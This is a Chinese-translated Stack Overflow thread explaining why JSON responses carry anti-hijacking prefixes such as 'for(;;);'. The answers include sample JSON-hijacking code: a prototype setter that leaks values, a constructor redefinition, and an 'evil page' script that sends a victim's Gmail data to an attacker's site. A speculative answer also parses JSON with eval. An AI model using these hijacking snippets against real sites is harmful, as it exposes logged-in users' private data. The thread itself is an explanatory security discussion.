为什么人们会写“throw 1; <dont be evil>”和“for(;;);”这样的代码在 json 响应前面? [重复]

问题描述 投票:0回答:4

Google 像这样返回 json:

throw 1; <dont be evil> { foo: bar}

Facebook 的 ajax 有这样的 json:

for(;;); {"error":0,"errorSummary": ""}
  • 为什么他们要添加会停止的代码 执行并生成无效的 json?
  • 如果无效,他们如何解析它 如果你尝试评估就会崩溃 是吗?
  • 他们只是将其从 字符串(看起来很贵)?
  • 有什么安全优势吗? 这个?

回应出于安全目的:

如果抓取工具位于另一个域,他们将必须使用

script
标签来获取数据,因为 XHR 无法跨域工作。即使没有
for(;;);
,攻击者如何获取数据?它没有分配给变量,所以它不会因为没有引用而被垃圾收集吗?

基本上为了跨域获取数据,他们必须这样做

<script src="http://target.com/json.js"></script>

但即使没有预先添加崩溃脚本,攻击者也无法使用任何 Json 数据,除非将其分配给您可以全局访问的变量(在这些情况下不是)。崩溃代码实际上什么也不做,因为即使没有它,他们也必须使用服务器端脚本来使用其网站上的数据。

javascript ajax security json
4个回答
198
投票

即使没有

for(;;);
,攻击者如何获取数据?

攻击基于通过改变内置类型的构造函数或其

Object
来改变内置类型的行为,特别是
Array
prototype
。然后,当目标 JSON 使用
{...}
[...]
构造时,它们将是攻击者自己的这些对象版本,具有潜在的意外行为。

例如,您可以将 setter-property 写入

Object
,这会泄露对象文字中写入的值:

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

然后,当

<script>
指向某个使用该属性名称的 JSON 时:

{"x": "hello"}

"hello"
将会被泄露。

数组和对象字面量导致调用 setter 的方式是有争议的。 Firefox 在 3.5 版本中删除了该行为,以应对针对知名网站的公开攻击。然而,在撰写本文时,Safari (4) 和 Chrome (5) 仍然容易受到此攻击。

现在所有浏览器都禁止的另一种攻击是重新定义构造函数:

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

目前,IE8 的属性实现(基于 ECMAScript 第五版标准和

Object.defineProperty
)目前不适用于
Object.prototype
Array.prototype

但是,除了保护过去的浏览器之外,JavaScript 的扩展可能会在未来导致更多类似类型的潜在泄漏,在这种情况下,chaff 也应该防止这些泄漏。


61
投票

考虑一下,在检查您的 GMail 帐户后,您会访问我的邪恶页面:

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

现在会发生的是,来自 Google 的 Javascript 代码(提问者认为该代码是良性的,并且立即超出范围)实际上将被发布到我的邪恶网站上。假设脚本标记中请求的 URL 已发送(因为您的浏览器将显示正确的 cookie,Google 将正确地认为您已登录收件箱):

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

现在,我将把这个对象的序列化版本发布到我的邪恶服务器上。谢谢!

防止这种情况发生的方法是破坏您的 JSON 响应,并在您从同一域可以操作该数据时破坏它们。如果您喜欢这个答案,请查看 bobince 发布的答案。


26
投票

编辑

这些字符串通常被称为“不可解析的字符串”,它们用于修补影响 JSON 规范的信息泄漏漏洞。 这种攻击是真实存在的,Jeremiah Grossman 发现了 gmail 中的漏洞。 Mozilla 还认为这是 JSON 规范中的一个漏洞,并且已在 Firefox 3 中修复了该漏洞。 然而,由于这个问题仍然影响其他浏览器,所以需要这个“无法解析的残骸”,因为它是一个兼容的补丁。 Bobice 的回答对这次攻击进行了技术解释,并且是正确的。


5
投票
如果它无效并且如果您尝试评估会崩溃,他们如何解析它 是吗?

这是一个
功能

,如果你尝试eval它会崩溃。

eval
允许任意 JavaScript 代码,可用于跨站点脚本攻击。

他们只是把它从绳子上取下来吗(看起来很贵)?

我想是这样。 大概是这样的:

function parseJson(json) { json = json.replace("throw 1; <dont be evil>", ""); if (/* regex to validate the JSON */) { return eval(json); } else { throw "XSS"; } }

“不作恶”的弊端阻止开发人员直接使用 
eval

而不是更安全的替代方案。

    

© www.soinside.com 2019 - 2024. All rights reserved.